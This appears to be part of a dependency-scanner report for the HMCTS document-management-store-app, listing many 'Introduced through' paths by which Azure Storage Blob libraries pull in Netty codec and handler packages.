  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
